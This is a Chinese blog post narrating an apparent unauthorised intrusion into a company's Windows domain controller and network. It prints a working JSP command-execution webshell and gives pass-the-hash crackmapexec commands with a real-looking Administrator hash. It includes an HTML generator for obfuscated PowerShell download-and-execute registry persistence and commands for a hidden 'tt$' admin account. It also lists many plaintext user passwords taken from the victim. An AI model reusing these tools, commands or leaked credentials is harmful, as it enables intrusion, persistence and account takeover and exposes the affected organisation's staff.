本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
文章目录
-
- 前文链接
- 前言
- 上线CS
- 上线rdp
- 后渗透
-
- 信息收集
- SMB Pth攻击
- 权限维持
- 魔幻上线提权
- 关Windows Defender
- end
前文链接
前言
外网打点是怎么拿的就不说了,跟前两篇博客一样。总之得到了一个jsp的webshell,尝试执行cmdline失败。 这种一般就是工具的问题,换个工具或者重新穿个cmd的webshell就行,这里我放一个AI写的,能用。
<%@ page import="java.util.*,java.io.*" %>
<HTML>
<BODY>
<FORM METHOD="POST" NAME="cmd">
<INPUT TYPE="text" NAME="command" SIZE="60">
<INPUT TYPE="submit" VALUE="Execute">
</FORM>
<PRE>
<%
if (request.getParameter("command") != null) {
Process p = null;
StringBuilder output = new StringBuilder();
try {
// 执行Windows命令
p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("command"));
// 读取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\\n");
}
// 读取错误流
BufferedReader errReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
while ((line = errReader.readLine()) != null) {
output.append(line).append("\\n");
}
p.waitFor();
} catch (Exception e) {
output.append("ERROR: ").append(e.getMessage());
} finally {
if (p != null) p.destroy();
}
out.print(output.toString()); // 回显结果
}
%>
</PRE>
</BODY>
</HTML>
system权限。 看看进程
tasklsit /svc
有Windows Defender,这下麻烦了。。
上线CS
因为我想内网渗透,所以直接尝试上线。 用CS自带的web投递功能试试。
什么玩意,翻译看看
直接被拦。但是问题不大。我还有一招。
用哥斯拉自带的shellcode加载功能,上线msf。 msf拿到监听后,background藏一下。
用cs的PAYLOAD生成器生成一个raw的shellcode,保存为.bin文件,放进kali
使用post/windows/manage/shellcode_inject模块内存加载shellcode
这里SESSION就写刚才得到的SESSION就行,SHELLCODE写绝对路径。
run之后cs成功上线。
上线rdp
看看有没有开rdp
REG QUERY "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections
0x0就是开了
看看端口是多少
REG query HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server\\WinStations\\RDP-Tcp /v PortNumber
d3d就是3389.
抓个密码 东西太多了,让ai总结。
soporteis | BUHOIYS | Rayzen5-3310 | SSP |
Federico | BUHOIYS | LuTi-072021* | tspkg |
aflores | BUHOIYS | 30deNoviembre6 | tspkg |
ale | BUHOIYS | SanMiguel21 | tspkg |
nparedes | BUHOIYS | katy-2020 | tspkg |
sqlmanager | BUHOIYS | Future2050 | tspkg |
carlos | BUHOIYS | Tininin2090 | tspkg |
随意选一个幸运用户上线。 登陆成功
后渗透
信息收集
先信息收集,执行几个指令,丢给ai去总结
systeminfo
whoami /all
ipconfig /all
主机信息 | 主机名:SIYS4 | 域控服务器(Primary Domain Controller),高价值目标 |
OS:Windows Server 2022 Standard (10.0.20348) | 最新系统,部分旧漏洞无效,但依然可利用配置错误 | |
厂商:Lenovo ThinkSystem SR650 V3 | 物理服务器,性能强,可能挂载多虚拟机 | |
BIOS:Lenovo ESE124C-3.12 (2024-02-22) | 硬件相对新 | |
安装时间:2025-03-26 | 较新系统,账户/策略可能近期配置 | |
时区:UTC-3(布宜诺斯艾利斯) | 阿根廷时区,方便社工判断上下班时间 | |
域信息 | 域:buhoiys.local | 域内 lateral movement 可用 |
系统角色:Primary Domain Controller | 持有全部域用户哈希,可进行 DCSync 攻击 | |
网络信息 | 物理网卡1:192.168.250.15/24 GW:192.168.250.1 | 内网主地址,直连内部网络 |
Hyper-V 虚拟网卡:192.168.250.16/24 | 可能通向虚拟机网络 | |
Radmin VPN:26.229.91.5/8 GW:26.0.0.1 | 跨网段访问,可能连到外部管理网络 | |
Hamachi VPN:25.28.204.74/8 GW:25.0.0.1 | 类似,可能有其他被控节点 | |
DNS:192.168.250.15(自指) | 本机是域 DNS 服务器,可做 DNS zone transfer | |
权限信息 | 当前用户:NT AUTHORITY\\SYSTEM | 本地 SYSTEM 权限,可直接读写 LSASS,导出SAM/NTDS |
SeImpersonatePrivilege:启用 | 可进行 Juicy Potato / PrintSpoofer / RoguePotato 提权或横向 | |
SeDebugPrivilege:启用 | 可直接注入进程、调试 SYSTEM 级程序 | |
域控管理员组成员 | 已处于域最高权限层级 |
域控,很刺激啊。
SMB Pth攻击
用hashdump导出Administrator的hash
Administrador/cf4658454e9373ecf160dc903022f954
然后走一个suo5的代理,用msf挂上proxychain批量扫C段
proxychains crackmapexec smb 192.168.250.0/24 -u Administrador -H cf4658454e9373ecf160dc903022f954 –exec-method smbexec > smb.txt
cat smb.txt | grep [+]
这么多Pwn3d,起飞了家人们
直接执行指令whoami。
proxychains crackmapexec smb 192.168.250.5 -u Administrador -H cf4658454e9373ecf160dc903022f954 -x "whoami" –exec-method smbexec
system权限。
我们直接用web投递的一句话上线CS:
排除重复主机,拿下两台主机
权限维持
目前比较懒,只有两种方式,一是用WEB投递生成URL,然后用powershell拉取执行,另一种是本地文件执行。都是写注册表,用下面这个html快速生成。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>权限维持小妙招</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
font-family: Arial, sans-serif;
background: #121212;
color: #f0f0f0;
padding: 20px;
}
h1 {
text-align: center;
color: #fff;
}
form {
max-width: 500px;
margin: 0 auto;
background: #1e1e1e;
padding: 20px;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0,0,0,0.5);
}
label {
display: block;
font-weight: bold;
margin-bottom: 8px;
color: #ddd;
}
input[type="text"] {
width: 100%;
padding: 8px 10px;
margin-bottom: 15px;
border: 1px solid #444;
background: #2b2b2b;
color: #fff;
border-radius: 6px;
outline: none;
transition: border-color 0.3s;
}
input[type="text"]:focus {
border-color: #00bfff;
}
input[type="submit"] {
background: #00bfff;
color: white;
padding: 10px 18px;
border: none;
border-radius: 6px;
cursor: pointer;
width: 100%;
transition: background 0.3s;
}
input[type="submit"]:hover {
background: #008fcc;
}
.result-box {
max-width: 500px;
margin: 20px auto;
background: #1e1e1e;
padding: 15px;
border-radius: 8px;
box-shadow: 0 4px 6px rgba(0,0,0,0.5);
}
.result-line {
margin-bottom: 15px;
}
.result-label {
font-weight: bold;
color: #00bfff;
margin-bottom: 5px;
display: block;
}
.result-line span {
display: block;
word-break: break-all;
background: #2b2b2b;
padding: 8px;
border-radius: 6px;
margin-bottom: 5px;
font-size: 0.9em;
}
.copy-btn {
background: #28a745;
color: white;
border: none;
padding: 6px 12px;
border-radius: 6px;
cursor: pointer;
font-size: 0.85em;
transition: background 0.3s;
}
.copy-btn:hover {
background: #1e7e34;
}
@media (max-width: 600px) {
body {
padding: 10px;
}
.result-box, form {
padding: 15px;
}
input[type="submit"] {
font-size: 1em;
}
}
</style>
</head>
<body>
<h1>权限维持小妙招</h1>
<form id="form">
<label for="command">请输入 URL 或 文件绝对路径:</label>
<input type="text" id="command" placeholder="例如:http://example.com 或 C:\\path\\file.exe" required>
<input type="submit" value="生成">
</form>
<div class="result-box" id="results" style="display:none;">
<div class="result-line">
<span class="result-label">用户权限版(USER)</span>
<span id="res1"></span>
<button class="copy-btn" data-target="res1">复制</button>
</div>
<div class="result-line">
<span class="result-label">SYSTEM权限版(SYSTEM)</span>
<span id="res2"></span>
<button class="copy-btn" data-target="res2">复制</button>
</div>
<div class="result-line" id="rawCmdBlock" style="display:none;">
<span class="result-label">原始指令(未经Base64编码)</span>
<span id="rawUser"></span>
<button class="copy-btn" data-target="rawUser">复制用户权限版</button>
<br>
<span id="rawSystem" style="margin-top:10px;display:block;"></span>
<button class="copy-btn" data-target="rawSystem">复制SYSTEM权限版</button>
</div>
</div>
<script>
function toBase64Utf16LE(str) {
const buf = new Uint16Array(str.length);
for (let i = 0; i < str.length; i++) {
buf[i] = str.charCodeAt(i);
}
const bytes = new Uint8Array(buf.buffer);
let binary = '';
for (let i = 0; i < bytes.byteLength; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
document.getElementById("form").addEventListener("submit", function (e) {
e.preventDefault();
const command = document.getElementById("command").value.trim();
const res1 = document.getElementById("res1");
const res2 = document.getElementById("res2");
const rawCmdBlock = document.getElementById("rawCmdBlock");
const rawUser = document.getElementById("rawUser");
const rawSystem = document.getElementById("rawSystem");
let USER, SYSTEM;
rawUser.textContent = "";
rawSystem.textContent = "";
rawCmdBlock.style.display = "none";
if (command.toLowerCase().startsWith("http")) {
// 网络 URL
let payload = `$u='${command}';$s='Ne'+'w-Object';$t='Net.W'+'ebClient';$d='Download'+'String';IEX((&($s) $t).$d($u))`;
let encoded = toBase64Utf16LE(payload);
if (!encoded) {
alert("Base64 编码失败,请检查输入!");
return;
}
USER = `reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -enc ${encoded}" /f`;
SYSTEM = `reg add HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -enc ${encoded}" /f`;
// 原始命令
const rawUserCmd = `reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -c \\\\"IEX (New-Object Net.WebClient).DownloadString('${command}')\\\\"" /f`;
const rawSystemCmd = `reg add HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v UpdateAgent /t REG_SZ /d "powershell.exe -nop -w hidden -c \\\\"IEX (New-Object Net.WebClient).DownloadString('${command}')\\\\"" /f`;
rawUser.textContent = rawUserCmd;
rawSystem.textContent = rawSystemCmd;
rawCmdBlock.style.display = "block";
} else {
// 文件路径
USER = `reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v UpdateAgent /t REG_SZ /d "${command}" /f`;
SYSTEM = `reg add HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v UpdateAgent /t REG_SZ /d "${command}" /f`;
rawCmdBlock.style.display = "none";
}
res1.textContent = USER;
res2.textContent = SYSTEM;
document.getElementById("results").style.display = "block";
});
document.querySelectorAll(".copy-btn").forEach(btn => {
btn.addEventListener("click", function () {
let targetId = this.getAttribute("data-target");
let text = document.getElementById(targetId).textContent;
navigator.clipboard.writeText(text).then(() => {
const originalText = this.textContent;
this.textContent = "已复制";
setTimeout(() => this.textContent = originalText, 1500);
});
});
});
</script>
</body>
</html>
轻松愉快
魔幻上线提权
我本来想用3389的连接上传microsocks跑稳定的socks5服务端的,但是文件传上去,用cs去spawn却总是找不到文件路径。好奇心驱使下我就执行了systeminfo。 250.1,SIYSV,给我干哪来了?我最开始连的不是250.15吗?我打的不是SIYS1-4吗?
不管了,上线CS。 尝试提权,看看补丁
119个?!
其实能用的exp还挺多的。
打一个msf方便操作。 然后background去找exp 。。。。。 我把所有的exp全都打了一遍,没有一个成功的。那么我是怎么提权的呢。。
其实我现在登录的用户就已经是管理员组了,所以我们可以传cs的exe马上去,然后右键,以管理员运行,然后直接getsystem就好了。
魔幻诡异的服务器。
关Windows Defender
烦死了,wd绕不掉,权限维持不了。直接上3389关掉算了
直接新建一个影子用户,挂上代理上线rdp。
shell net user tt$ Tt@123456 /add
shell net localgroup administrators tt$ /add
shell net localgroup "Remote Desktop Users" tt$ /add
上线 上线后在用户列表里找一个已登录用户,用之前抓到的密码重新登录,再删除影子用户。
不对。
给我干哪来了?
成功上线
研究了一下,原来是我登录的这个用户开了个rdp的全屏没关。白送我一台服务器。
读取浏览器密码
哥们,这啥啊?login.microsoftonline.com是什么??dropbox.com是什么??这么劲爆吗!
抓个密码:
Federico/McElite0302
end
就这样吧,打不动了
评论前必须登录!
注册